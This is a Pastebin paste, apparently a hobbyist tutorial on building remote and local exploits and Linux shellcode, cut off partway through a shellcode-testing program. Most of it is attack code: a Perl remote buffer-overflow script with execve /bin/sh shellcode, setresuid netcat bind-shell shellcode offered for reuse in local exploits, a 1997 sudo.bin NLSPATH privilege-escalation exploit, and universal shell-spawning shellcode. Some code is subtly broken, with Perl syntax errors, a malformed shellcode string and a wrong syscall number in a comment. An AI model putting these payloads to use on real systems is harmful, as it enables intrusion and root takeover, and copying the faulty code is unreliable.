Advertisement
raul3k

Anatomy of Xploit

Jul 16th, 2015
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.44 KB | None | 0 0
  1. ####### Anatomy of Exploit #######
  2. ####### World of Shellcode #######
  3.  
  4.  
  5.  
  6. #/////////////////////////////////////////////////////#
  7.  
  8.  
  9. Contact:flor_iano@hotmail.com
  10.  
  11.  
  12. #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\#
  13.  
  14.  
  15. -----# Introduction On Exploits
  16.  
  17. Nowadays the word exploit is becoming frightened, thousands of peoples
  18. that are in field of IT should(is a must) know how to make a exploit or even
  19. how to defend by eexploits.Out there are hundreds of exploits
  20. that are published in several websites like exploit-db.com, secunia.com
  21. 1337day.com etc.Exploitation means using a program routine or a 0day attack
  22. to own the OS or crashing the program.Exploiting a program is a clever
  23. way of getting the computer to do what you want it to, even if the currently
  24. running program was designed to prevent that actions.It can do only what you
  25. have programmed to do.To get rid of exploit you should learn assembly language
  26. as it is the language wich can talk directly to the kernel, C,c++,Perl, Python
  27. programming wich by system calls() we can call the kernel.For me those languages
  28. are enough but since the Computer are in evolution you should not stop learning
  29. other programming language.In this paper i wont publish no exploit but to explain
  30. the make of it, the importance of it, and clearing some misunderstanding in our mind,
  31. in our brain, so when we read a source code should not become confused.But someone
  32. in IRC asked to me how many types of exploit do we have.In reality there are
  33. too many types of exploits but i will mention the most important
  34. exploits that are used todays.
  35.  
  36. -----# Remote exploits
  37.  
  38. Exploits can be developed almost at any operation system, but the most
  39. comfortable OS is Linux and Windows todays.I dont know about Windows cuz
  40. we need to install tools like microsoft visual c++,python 2.7 or perl and using them
  41. in CMD.But in Linux the gcc, as, ld are the GNU defaults compilers.
  42. In Linux you should have learnt sockets to get a routine and get the work done.
  43. We have the shell wich is too important to program an exploit.But in this section
  44. the purpose is understanding the remote exploits and creating the basic of it.
  45. Getting rid of the vulnerability of the program you want or the system you want
  46. to get prigileges on the System.Here we go in the Art of Fuzzing wich we send
  47. many characters to overflow or to flood and crash the Program.But how do we know
  48. what is the address of the eip, to get exploit it in way ret2eip wich means
  49. ret2eip=Return the Address of eip.Im explaining the steps:
  50.  
  51.  
  52. [Step One]
  53. Before you develop any exploit, you need to determine whether a vulnerability
  54. exists in the application. This is where the art of fuzzing comes into play.
  55. Since it is remote we can't know the address of register in wich we crashed the program.
  56. This step is getting a better fuzzer like Spike and Metasploit.When the
  57. fuzzer will be stopped we only get the length of the char's.
  58.  
  59. [Step Two]
  60. Get on work with fuzzer.Practice it.Run it.In this step we ran the fuzzer
  61. and what we get only the length of the chars but to exploit a program we need eip.
  62. Length(X1h21hsdpgm234jlasn356kklasdn432210ifaslkj4120sd .................) etc.
  63. We only have the length.
  64.  
  65. [Step Three]
  66. We download the program in our system and test it with the fuzzer.As the target is
  67. 127.0.0.1 we launch a debugger like Ollydbg and we will watch what will happen
  68. when the fuzz will start.The program will be overflowed and the eip will be on red
  69. line.Here we got what we wanted to have.We got the eip, now what.
  70.  
  71. [Step Four]
  72. Prepare the shellcode.What is shellcode?-Shellcode is made in assembly language
  73. with instructions to get the shell with system calls like execve or execl.
  74.  
  75. #########
  76. Note #
  77. #########
  78. Im having in mind that you know the assembly and how to get the shellcode from it
  79. with programs like objdump, gcc etc.
  80.  
  81. [Step Four]
  82. Prepare the exploit with the need of.In this section im using a perl script
  83. to introduce you on exploiting in a basic way.
  84.  
  85. #!/usr/bin/perl
  86. use IO::Socket;
  87.  
  88. $header = "TRUN /.:/"; (we put the TRUN header here)
  89. $junk = "" x pattern; (Junk or like garbage to overflow)
  90. (We can get the pattern with
  91. pattern_create tool of metasploit)
  92. $eip = pack('v', 0x85f61a2f); (The eip, the most important of exploit)
  93. $nop = "\x90" x 20; (NOP=No Operation, Making shellcode nonull)
  94. $shellcode = (The shellcode)
  95. "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\" +
  96. "x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53" +
  97. "\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
  98.  
  99.  
  100. $socket = IO::Socket::INET->new( (Socket I/O INET FAMILY)
  101. Proto => "tcp", (TCP Protocol)
  102. PeerAddr => "$ARGV[0]", (First Arg)
  103. PeerPort => "$ARGV[1]", (Second Arg)
  104. );
  105.  
  106. socket->recv($serverdata, 1024); (Data we receive)
  107. print $serverdata; (Print that data)
  108. $socket->send($header.$junk.$eip.$nop.$shellcode); (Using socket to send them all)
  109.  
  110. [Step Five]
  111. We have the exploit, now get on run it.For the exploit above we type the command:
  112. root@MINDZSEC~:/root$ ./exploit.pl target host
  113. And if you would be succesful you will get a shell in system,and if you
  114. have the shell you can get on exploit kernel to get root privileges. Here we go
  115. on Local Exploits wich will be explained now.
  116.  
  117. -----# Local Exploits
  118.  
  119. These are the most dificult exploit to develop becauze here you should learn UNIX environment
  120. and syscalls() that are nedded to have a shell on uid.UID stands for user id, and the
  121. uid of root will be always 0.To understand this type of exploit you should absolutely know
  122. assembly language to work around with __NR_$syscall.__NR_$syscall are liste in dir of
  123. /usr/include/asm-generic/unistd.h where there are all number for each respective
  124. syscall().Assembly language is the most used outthere for making shellcode, here we have
  125. an program wich is pause.asm
  126.  
  127. ----------------------------------------------------------------------------------------------------
  128.  
  129. root@MINDZSEC~:/root$ cat pause.asm
  130.  
  131. section .text ; Text section
  132. global _start ; _start is global
  133.  
  134. _start: ; _start function
  135. xor ebx, ebx ; Zero out ebx register
  136. mov al, 29 ; Insert __NR_pause 11 syscall, see "Appendix A"
  137. int 0x80 ; Syscall execute
  138.  
  139. Assemble and Link
  140.  
  141. root@MINDZSEC~:/root$ nasm -f elf pause.asm && ld pause.o -o pause
  142.  
  143. Time to run
  144.  
  145. root@MINDZSEC~:/root$ ./pause
  146. ^c
  147. It worked and pause the System, I used CTRL-C to exit from program.
  148.  
  149. Now Get the Opcodes
  150.  
  151. root@MINDZSEC~:/root$ objdump -d pause.o
  152.  
  153. pause.o: file format elf32-i386
  154.  
  155. Disassembly of section .text:
  156.  
  157. 00000000 <_start>:
  158. 0: 31 db xor %ebx,%ebx
  159. 2: b0 1d mov $0x1d,%al
  160. 4: cd 80 int $0x80
  161.  
  162. This is a small shellcode but what would you do if it will be long.
  163.  
  164. I used xxd to make the way easier, see Apendix B.
  165.  
  166. root@MINDZSEC~:/root$ ./xxd pause.o
  167.  
  168. "\x31\xdb\xb0\x1d\xcd\x80"
  169.  
  170. Test Shellcode
  171.  
  172. root@MINDZSEC~:/root$ ./shtest "\x31\xdb\xb0\x1d\xcd\x80"
  173.  
  174. Shellcode at 0x804b140
  175. Registers before call:
  176. esp: 0xbfbf0d70, ebp: 0xbfbf0da8
  177. esi: (nil), edi: (nil)
  178. ----------------------
  179. ^C
  180.  
  181. Here I used the shellcode tester made by hellman, see Apendix C.We saw that the system
  182. pauses and executed the shellcode with success.
  183.  
  184. ----------------------------------------------------------------------------------------------------
  185.  
  186. But the purpose of local exploit is to get superuser privileges, by syscall it can be done
  187. where we use routines to tire up the system and break the linux-so.gate.1 to get uid=0.
  188. That is the main purpose of local exploit, since you have exploit a system you need
  189. priveleges to conduct actions on this system.They can't be call exploits but a SETUID
  190. program to get done with rid of system <-- That what Linus Torvalds told.
  191. And it is right since we make a program in assembly language with system calls
  192. and we run them to have root shell.The opcodes are the hex codes that make a direct call
  193. to the kernel.Thus codes speaks with kernel and tell it to get the root shell or
  194. i will overflow you.To take a brief understanding in shellcodes you should read
  195. papers that are published outside on Internet or read Books that are dedicated
  196. on this are of Computer Programming Science.
  197. Developing a local exploit we should either know heap overflows wich plays around
  198. with programs, buffer overflows wich plays around with buffer register and the
  199. stack-based overflows.
  200.  
  201. :Heap Overflows:
  202. Read article of W00w00 on heaptut
  203. http://www.cgsecurity.org/exploit/heaptut.txt
  204. :Buffer Overflows:
  205. Read article of Saif El-Sherei
  206. http://www.exploit-db.com/docs/28475.pdf
  207. :Stack-based buffer overflows:
  208. Read article of Aleph1 Smashing the stack
  209. http://www.phrack.org/issues/49/14.html#article
  210.  
  211. After you read them you will get a better understand on how the system works and how
  212. register works and how to make them doing what you programmed the program to do.Today
  213. all of people are focused on social media and had left the computer science, they are
  214. no more dedicated on reading, today lechers or script kiddies reads some paper and copys
  215. the program's to merge into one and they call themselves programmers.No, thats wrong, they
  216. will never become programmers that copies other people's programs to own it.So why i connected
  217. this sentece on here.All what i want to say that script kiddies wont have ideas on systems
  218. only if they copy the programs, so to make local exploit we should have an idea and a
  219. purpose with lot of imaginary and learn how the system works.
  220. In a clever way im going to say that making SHELLCODE and EXPLOIT need IDEAS.
  221.  
  222. Before going to an "real-life local exploit" i will explain and one more shellcode wich
  223. uses netcat to get a uid=0 gid=0 groups=0 root shell:
  224.  
  225. ----------------------------------------------------------------------------------------------------
  226.  
  227. Netcat Shellcode.asm
  228.  
  229. List the program.
  230.  
  231. root@MINDZSEC:~/root$ cat ntcat.asm
  232. ;Author Flor Ian MINDZSEC
  233. ;Contact flor_iano@hotmail.com
  234. jmp short todo
  235. shellcode:
  236. xor eax, eax ; Zero out eax
  237. xor ebx, ebx ; Zero out ebx
  238. xor ecx, ecx ; Zero out ecx
  239. xor edx, edx ; Zero out edx using the sign bit from eax
  240. mov BYTE al, 0xa4 ; setresuid syscall 164 (0xa4)
  241. int 0x80 ; syscall execute
  242. pop esi ; esi contain the string in db
  243. xor eax, eax ; Zero out eax
  244. mov[esi + 7], al ; null terminate /bin/nc
  245. mov[esi + 16], al ; null terminate -lvp90
  246. mov[esi + 26], al ; null terminate -e/bin/sh
  247. mov[esi + 27], esi ; store address of /bin/nc in AAAA
  248. lea ebx, [esi + 8] ; load address of -lvp90 into ebx
  249. mov[esi +31], ebx ; store address of -lvp90 in BBB taken from ebx
  250. lea ebx, [esi + 17] ; load address of -e/bin/sh into ebx
  251. mov[esi + 35], ebx ; store address of -e/bin/sh in CCCC taken from ebx
  252. mov[esi + 39], eax ; Zero out DDDD
  253. mov al, 11 ; 11 is execve syscakk number
  254. mov ebx, esi ; store address of /bin/nc
  255. lea ecx, [esi + 27] ; load address of ptr to argv[] array
  256. lea edx, [esi + 39] ; envp[] NULL
  257. int 0x80 ; syscall execute
  258. todo:
  259. call shellcode
  260. db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
  261. ; 0123456789012345678901234567890123456789012
  262.  
  263. Assemble and Link
  264.  
  265. root@MINDZSEC:~/root$ nasm -f elf ntcat.asm && ld ntcat.o -o ntcat
  266.  
  267. Run to see if it works
  268.  
  269. root@MINDZSEC:~/root$ ./ntcat
  270.  
  271. listening on [any] 9999 ...
  272. ^c It Works
  273.  
  274. Get shellcode
  275.  
  276. root@MINDZSEC:~/root$ ./xxd ntcat.o
  277.  
  278. "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\
  279. x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b
  280. \x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23
  281. \x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41
  282. \x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
  283.  
  284. Test it
  285.  
  286. root@MINDZSEC:~/root$ ./shtest "\xeb\x35\x31\xc0\....\\x44\x44\x44\x44"
  287.  
  288. listening on [any] 9999 ...
  289.  
  290. From any machine you can connect to this by nc IP 9999 and get a root shell
  291. See Appendix for a universal Shellcode on getting shell.
  292.  
  293. ----------------------------------------------------------------------------------------------------
  294.  
  295. You would ask, Why you use this example when we are talking to local exploits.This program is
  296. often called a backdoor and it is used a lot on all programs from big Companies.Shellcode
  297. can have the work done in last two minutes as im saying learn it.I added here this shellcode
  298. so you can add this in your local exploits to get the work done and get a root shell to
  299. conduct whatever command you wanted to.
  300.  
  301. Now it time to present you a local exploit as example and explain you the sections of it.
  302. I said that i wont give you no exploit in this paper so i will just explain how they works
  303. to you and get a better understand on exploits so you can create them.
  304.  
  305. ----------------------------------------------------------------------------------------------------
  306.  
  307. #include <unistd.h> /* Syscall() list */
  308. #include <stdio.h> /* I/O */
  309. #include <stdlib.h> /* Define macros for several types of data */
  310. #include <fcntl.h> /* Perform Operation in files */
  311. #include <sys/stat.h> /* defines the structure of the data returned */
  312.  
  313. #define PATH_SUDO "/usr/bin/sudo.bin" /* Macro defined PATH_SUDO */
  314. #define BUFFER_SIZE 1024 /* Macro defined Buffer Size */
  315. #define DEFAULT_OFFSET 50 /* the amount or distance */
  316.  
  317. u_long get_esp() /* Return Stack pointer */
  318. {
  319. __asm__("movl %esp, %eax");
  320.  
  321. }
  322.  
  323. main(int argc, char **argv) /* Main funciton */
  324. {
  325. u_char execshell[] = /* Aleph1's /bin/sh shellcode */
  326. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  327. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  328. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  329.  
  330. char *buff = NULL; /* char-Buff is a pointer cast and = NUll(0) */
  331. unsigned long *addr_ptr = NULL; /* addr_ptr is a pointer unsigned long = Null(0)*/
  332. char *ptr = NULL; /* char-ptr is a pointer cast and = NULL(0) */
  333.  
  334. int i; /* Declare var integer i; */
  335. int ofs = DEFAULT_OFFSET; /* Declare var ofs wich is equaled to Deffault_offset macro */
  336.  
  337. buff = malloc(4096); /* Buff pointer is equaled to memory allocation 4096 Bytes */
  338. if(!buff) /* If conditional !buf cant be done */
  339. {
  340. printf("can't allocate memory\n");/* Printf String */
  341. exit(0); /* Exit */
  342. }
  343. ptr = buff; /* buff is equaled to ptr var pointer, LVALUE=RVALUE */
  344.  
  345. /* fill start of buffer with nops */
  346.  
  347. memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* memset function from right to left */
  348. ptr += BUFFER_SIZE-strlen(execshell); /* Fill of ptr */
  349.  
  350. /* stick asm code into the buffer */
  351.  
  352. for(i=0;i < strlen(execshell);i++) /* For loop to add shellcode in buffer */
  353. *(ptr++) = execshell[i]; /* Exec */
  354.  
  355. addr_ptr = (long *)ptr; /* Execshell is = *(ptr) and ptr = addr_ptr */
  356. for(i=0;i < (8/4);i++) /* for loop */
  357. *(addr_ptr++) = get_esp() + ofs; /* addr_ptr++ is equaled to the value of stack pointer and off*/
  358. ptr = (char *)addr_ptr; /* Get return to *ptr */
  359. *ptr = 0; /* Make it zero */
  360.  
  361. printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n"); /* Author Information */
  362. setenv("NLSPATH",buff,1); /* Set environmet 1 to buff and buff to NLSPATH */
  363. execl(PATH_SUDO, "sudo.bin","bash", NULL); /* Execl sys call to execute the program */
  364. }
  365.  
  366. And we compile it and we get a shell, this is an local exploit of 1997, i took just as a
  367. example.So what I told you about shellcodes, they are used at almost of local exploit nowadays.
  368.  
  369. ----------------------------------------------------------------------------------------------------
  370.  
  371. A begginer programmer will see this source code and will say that i can't learn them till my end of life
  372. but it is wrong.That is the first disappointed in our heart.So how to get rid of programming,
  373. first we need to be creative and have ideas as i told again.
  374.  
  375. ######
  376. NOTE #
  377. ######
  378. Have a learn of kernel syscalls(), their numbers, have a learn of shellcodes and
  379. how to understand them, learn programming languages as much as you can.
  380.  
  381.  
  382. APPENDIX - Universal Shellcode to get shell
  383. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  384.  
  385. root@MINDZSEC:~/root$ cat getshell.asm
  386.  
  387. section .text ; Text section
  388. global _start ; Define _start function
  389.  
  390. _start: ; _start function
  391. xor eax, eax ; Zero out eax REGister
  392. xor ebx, ebx ; Zero out ebx REGister
  393. xor ecx, ecx ; Zero out ecx REGister
  394. cdq ; Zero out edx using the sign bit from eax
  395. push ecx ; Insert 4 byte null in stack
  396. push 0x68732f6e ; Insert /bin in the stack
  397. push 0x69622f2f ; Insert //sh in the stack
  398. mov ebx, esp ; Put /bin//sh in stack
  399. push ecx ; Put 4 Byte in stack
  400. push ebx ; Put ebx in stack
  401. mov ecx, esp ; Insert ebx address in ecx
  402. xor eax, eax ; Zero out eax register
  403. mov al, 11 ; Insert __NR_execve 11 syscall
  404. int 0x80 ; Syscall execute
  405.  
  406. root@MINDZSEC:~/root$ ./xxd getshell.o
  407.  
  408. "\x31\xc0\x31\xdb\x31\xc9\x99\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\
  409. x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
  410.  
  411. That Was all, Thanx for READING.
  412.  
  413. ----------------------------------------------------------------------------------------------------
  414.  
  415. APPENDIX A - SysCall List
  416. ~~~~~~~~~~~~~~~~~~~~~~~~~
  417.  
  418. root@MINDZSEC:~/root$ cat syscall.txt
  419.  
  420.  
  421. 00 sys_setup [sys_ni_syscall]
  422. 01 sys_exit
  423. 02 sys_fork
  424. 03 sys_read
  425. 04 sys_write
  426. 05 sys_open
  427. 06 sys_close
  428. 07 sys_waitpid
  429. 08 sys_creat
  430. 09 sys_link
  431. 10 sys_unlink
  432. 11 sys_execve
  433. 12 sys_chdir
  434. 13 sys_time
  435. 14 sys_mknod
  436. 15 sys_chmod
  437. 16 sys_lchown
  438. 17 sys_break [sys_ni_syscall]
  439. 18 sys_oldstat [sys_stat]
  440. 19 sys_lseek
  441. 20 sys_getpid
  442. 21 sys_mount
  443. 22 sys_umount [sys_oldumount]
  444. 23 sys_setuid
  445. 24 sys_getuid
  446. 25 sys_stime
  447. 26 sys_ptrace
  448. 27 sys_alarm
  449. 28 sys_oldfstat [sys_fstat]
  450. 29 sys_pause
  451. 30 sys_utime
  452. 31 sys_stty [sys_ni_syscall]
  453. 32 sys_gtty [sys_ni_syscall]
  454. 33 sys_access
  455. 34 sys_nice
  456. 35 sys_ftime [sys_ni_syscall]
  457. 36 sys_sync
  458. 37 sys_kill
  459. 38 sys_rename
  460. 39 sys_mkdir
  461. 40 sys_rmdir
  462. 41 sys_dup
  463. 42 sys_pipe
  464. 43 sys_times
  465. 44 sys_prof [sys_ni_syscall]
  466. 45 sys_brk
  467. 46 sys_setgid
  468. 47 sys_getgid
  469. 48 sys_signal
  470. 49 sys_geteuid
  471. 50 sys_getegid
  472. 51 sys_acct
  473. 52 sys_umount2 [sys_umount] (2.2+)
  474. 53 sys_lock [sys_ni_syscall]
  475. 54 sys_ioctl
  476. 55 sys_fcntl
  477. 56 sys_mpx [sys_ni_syscall]
  478. 57 sys_setpgid
  479. 58 sys_ulimit [sys_ni_syscall]
  480. 59 sys_oldolduname
  481. 60 sys_umask
  482. 61 sys_chroot
  483. 62 sys_ustat
  484. 63 sys_dup2
  485. 64 sys_getppid
  486. 65 sys_getpgrp
  487. 66 sys_setsid
  488. 67 sys_sigaction
  489. 68 sys_sgetmask
  490. 69 sys_ssetmask
  491. 70 sys_setreuid
  492. 71 sys_setregid
  493. 72 sys_sigsuspend
  494. 73 sys_sigpending
  495. 74 sys_sethostname
  496. 75 sys_setrlimit
  497. 76 sys_getrlimit
  498. 77 sys_getrusage
  499. 78 sys_gettimeofday
  500. 79 sys_settimeofday
  501. 80 sys_getgroups
  502. 81 sys_setgroups
  503. 82 sys_select [old_select]
  504. 83 sys_symlink
  505. 84 sys_oldlstat [sys_lstat]
  506. 85 sys_readlink
  507. 86 sys_uselib
  508. 87 sys_swapon
  509. 88 sys_reboot
  510. 89 sys_readdir [old_readdir]
  511. 90 sys_mmap [old_mmap]
  512. 91 sys_munmap
  513. 92 sys_truncate
  514. 93 sys_ftruncate
  515. 94 sys_fchmod
  516. 95 sys_fchown
  517. 96 sys_getpriority
  518. 97 sys_setpriority
  519. 98 sys_profil [sys_ni_syscall]
  520. 99 sys_statfs
  521. 100 sys_fstatfs
  522. 101 sys_ioperm
  523. 102 sys_socketcall
  524. 103 sys_syslog
  525. 104 sys_setitimer
  526. 105 sys_getitimer
  527. 106 sys_stat [sys_newstat]
  528. 107 sys_lstat [sys_newlstat]
  529. 108 sys_fstat [sys_newfstat]
  530. 109 sys_olduname [sys_uname]
  531. 110 sys_iopl
  532. 111 sys_vhangup
  533. 112 sys_idle
  534. 113 sys_vm86old
  535. 114 sys_wait4
  536. 115 sys_swapoff
  537. 116 sys_sysinfo
  538. 117 sys_ipc
  539. 118 sys_fsync
  540. 119 sys_sigreturn
  541. 120 sys_clone
  542. 121 sys_setdomainname
  543. 122 sys_uname [sys_newuname]
  544. 123 sys_modify_ldt
  545. 124 sys_adjtimex
  546. 125 sys_mprotect
  547. 126 sys_sigprocmask
  548. 127 sys_create_module
  549. 128 sys_init_module
  550. 129 sys_delete_module
  551. 130 sys_get_kernel_syms
  552. 131 sys_quotactl
  553. 132 sys_getpgid
  554. 133 sys_fchdir
  555. 134 sys_bdflush
  556. 135 sys_sysfs
  557. 136 sys_personality
  558. 137 sys_afs_syscall [sys_ni_syscall]
  559. 138 sys_setfsuid
  560. 139 sys_setfsgid
  561. 140 sys__llseek [sys_lseek]
  562. 141 sys_getdents
  563. 142 sys__newselect [sys_select]
  564. 143 sys_flock
  565. 144 sys_msync
  566. 145 sys_readv
  567. 146 sys_writev
  568. 147 sys_getsid
  569. 148 sys_fdatasync
  570. 149 sys__sysctl [sys_sysctl]
  571. 150 sys_mlock
  572. 151 sys_munlock
  573. 152 sys_mlockall
  574. 153 sys_munlockall
  575. 154 sys_sched_setparam
  576. 155 sys_sched_getparam
  577. 156 sys_sched_setscheduler
  578. 157 sys_sched_getscheduler
  579. 158 sys_sched_yield
  580. 159 sys_sched_get_priority_max
  581. 160 sys_sched_get_priority_min
  582. 161 sys_sched_rr_get_interval
  583. 162 sys_nanosleep
  584. 163 sys_mremap
  585. 164 sys_setresuid (2.2+)
  586. 165 sys_getresuid (2.2+)
  587. 166 sys_vm86
  588. 167 sys_query_module (2.2+)
  589. 168 sys_poll (2.2+)
  590. 169 sys_nfsservctl (2.2+)
  591. 170 sys_setresgid (2.2+)
  592. 171 sys_getresgid (2.2+)
  593. 172 sys_prctl (2.2+)
  594. 173 sys_rt_sigreturn (2.2+)
  595. 174 sys_rt_sigaction (2.2+)
  596. 175 sys_rt_sigprocmask (2.2+)
  597. 176 sys_rt_sigpending (2.2+)
  598. 177 sys_rt_sigtimedwait (2.2+)
  599. 178 sys_rt_sigqueueinfo (2.2+)
  600. 179 sys_rt_sigsuspend (2.2+)
  601. 180 sys_pread (2.2+)
  602. 181 sys_pwrite (2.2+)
  603. 182 sys_chown (2.2+)
  604. 183 sys_getcwd (2.2+)
  605. 184 sys_capget (2.2+)
  606. 185 sys_capset (2.2+)
  607. 186 sys_sigaltstack (2.2+)
  608. 187 sys_sendfile (2.2+)
  609. 188 sys_getpmsg [sys_ni_syscall]
  610. 189 sys_putpmsg [sys_ni_syscall]
  611. 190 sys_vfork (2.2+)
  612.  
  613. ----------------------------------------------------------------------------------------------------
  614.  
  615. APPENDIX B - XXD Program
  616. ~~~~~~~~~~~~~~~~~~~~~~~~
  617.  
  618. root@MINDZSEC:~/root$ cat xxd
  619.  
  620. #!/bin/bash
  621. if [ $# -ne 1 ]
  622. then
  623. printf "\n\tUsage: $0 filename.o\n\n"
  624. exit
  625. fi
  626. filename=`echo $1 | sed s/"\.o$"//`
  627. rm -f $filename.shellcode
  628.  
  629. objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' '
  630. | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
  631.  
  632. echo
  633.  
  634.  
  635. ----------------------------------------------------------------------------------------------------
  636.  
  637. APPENDIX C - Shtester Program by hellman
  638. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  639.  
  640. I added the program here not to get a long paper, but i added for you in case that the author
  641. will erase it or the website will be shutdown
  642.  
  643. root@MINDZSE:~/root$ cat shtest.c
  644.  
  645. #include <stdio.h>
  646. #include <stdlib.h>
  647. #include <string.h>
  648. #include <signal.h>
  649. #include <ctype.h>
  650. #include <unistd.h>
  651. #include <fcntl.h>
  652. #include <sys/mman.h>
  653. #include <sys/types.h> /* See NOTES */
  654. #include <sys/wait.h>
  655. #include <sys/socket.h>
  656.  
  657. /*------------------------------------------
  658. Shellcode testing program
  659. Usage:
  660. shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' | '\xb8\x39\x05\x00\x00\xc3'}
  661. Usage example:
  662. $ shtest $'\xeb\xfe' # raw shellcode
  663. $ shtest '\xb8\x39\x05\x00\x00\xc3' # escaped shellcode
  664. $ shtest -f test.sc # shellcode from file
  665. $ shtest -f <(python gen_payload.py) # test generated payload
  666. $ shtest -s 5 -f test.sc # create socket at fd=5
  667. # Allows to test staged shellcodes
  668. # Flow is redirected like this: STDIN -> SOCKET -> STDOUT
  669. Compiling:
  670. gcc -Wall shtest.c -o shtest
  671. Author: hellman (hellman1908@gmail.com)
  672. -------------------------------------------*/
  673.  
  674. char buf[4096];
  675. int pid1, pid2;
  676. int sock;
  677. int ready;
  678.  
  679. void usage(char * err);
  680. int main(int argc, char **argv);
  681.  
  682. void load_from_file(char *fname);
  683. void copy_from_argument(char *arg);
  684. void escape_error();
  685.  
  686. int create_sock();
  687. void run_reader(int);
  688. void run_writer(int);
  689. void set_ready(int sig);
  690.  
  691. void run_shellcode(void *sc_ptr);
  692.  
  693.  
  694. void usage(char * err) {
  695. printf(" Shellcode testing program\n\
  696. Usage:\n\
  697. shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\
  698. Usage example:\n\
  699. $ shtest $'\\xeb\\xfe' # raw shellcode\n\
  700. $ shtest '\\xb8\\x39\\x05\\x00\\x00\\xc3' # escaped shellcode\n\
  701. $ shtest -f test.sc # shellcode from file\n\
  702. $ shtest -f <(python gen_payload.py) # test generated payload\n\
  703. $ shtest -s 5 -f test.sc # create socket at fd=5 (STDIN <- SOCKET -> STDOUT)\n\
  704. # Allows to test staged shellcodes\
  705. # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\
  706. Compiling:\n\
  707. gcc -Wall shtest.c -o shtest\n\
  708. Author: hellman (hellman1908@gmail.com)\n");
  709. if (err) printf("\nerr: %s\n", err);
  710. exit(1);
  711. }
  712.  
  713. int main(int argc, char **argv) {
  714. char * fname = NULL;
  715. int c;
  716.  
  717. pid1 = pid2 = -1;
  718. sock = -1;
  719.  
  720. while ((c = getopt(argc, argv, "hus:f:")) != -1) {
  721. switch (c) {
  722. case 'f':
  723. fname = optarg;
  724. break;
  725. case 's':
  726. sock = atoi(optarg);
  727. if (sock <= 2 || sock > 1024)
  728. usage("bad descriptor number for sock");
  729. break;
  730. case 'h':
  731. case 'u':
  732. usage(NULL);
  733. default:
  734. usage("unknown argument");
  735. }
  736. }
  737.  
  738. if (argc == 1)
  739. usage(NULL);
  740.  
  741. if (optind < argc && fname)
  742. usage("can't load shellcode both from argument and file");
  743.  
  744. if (!(optind < argc) && !fname)
  745. usage("please provide shellcode via either argument or file");
  746.  
  747. if (optind < argc) {
  748. copy_from_argument(argv[optind]);
  749. }
  750. else {
  751. load_from_file(fname);
  752. }
  753.  
  754. //create socket if needed
  755. if (sock != -1) {
  756. int created_sock = create_sock(sock);
  757. printf("Created socket %d\n", created_sock);
  758. }
  759.  
  760. run_shellcode(buf);
  761. return 100;
  762. }
  763.  
  764. void load_from_file(char *fname) {
  765. FILE * fd = fopen(fname, "r");
  766. if (!fd) {
  767. perror("fopen");
  768. exit(100);
  769. }
  770.  
  771. int c = fread(buf, 1, 4096, fd);
  772. printf("Read %d bytes from '%s'\n", c, fname);
  773. fclose(fd);
  774. }
  775.  
  776. void copy_from_argument(char *arg) {
  777. //try to translate from escapes ( \xc3 )
  778.  
  779. bzero(buf, sizeof(buf));
  780. strncpy(buf, arg, sizeof(buf));
  781.  
  782. int i;
  783. char *p1 = buf;
  784. char *p2 = buf;
  785. char *end = p1 + strlen(p1);
  786.  
  787. while (p1 < end) {
  788. i = sscanf(p1, "\\x%02x", (unsigned int *)p2);
  789. if (i != 1) {
  790. if (p2 == p1) break;
  791. else escape_error();
  792. }
  793.  
  794. p1 += 4;
  795. p2 += 1;
  796. }
  797. }
  798.  
  799. void escape_error() {
  800. printf("Shellcode is incorrectly escaped!\n");
  801. exit(1);
  802. }
  803.  
  804. int create_sock() {
  805. int fds[2];
  806. int sock2;
  807.  
  808. int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
  809. if (result == -1) {
  810. perror("socket");
  811. exit(101);
  812. }
  813.  
  814. if (sock == fds[0]) {
  815. sock2 = fds[1];
  816. }
  817. else if (sock == fds[1]) {
  818. sock2 = fds[0];
  819. }
  820. else {
  821. dup2(fds[0], sock);
  822. close(fds[0]);
  823. sock2 = fds[1];
  824. }
  825.  
  826. ready = 0;
  827. signal(SIGUSR1, set_ready);
  828.  
  829. /*
  830. writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits)
  831. \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes socket)
  832. \--> reader: sock -> stdout (when SC exits/fails, socket is closed and reader exits)
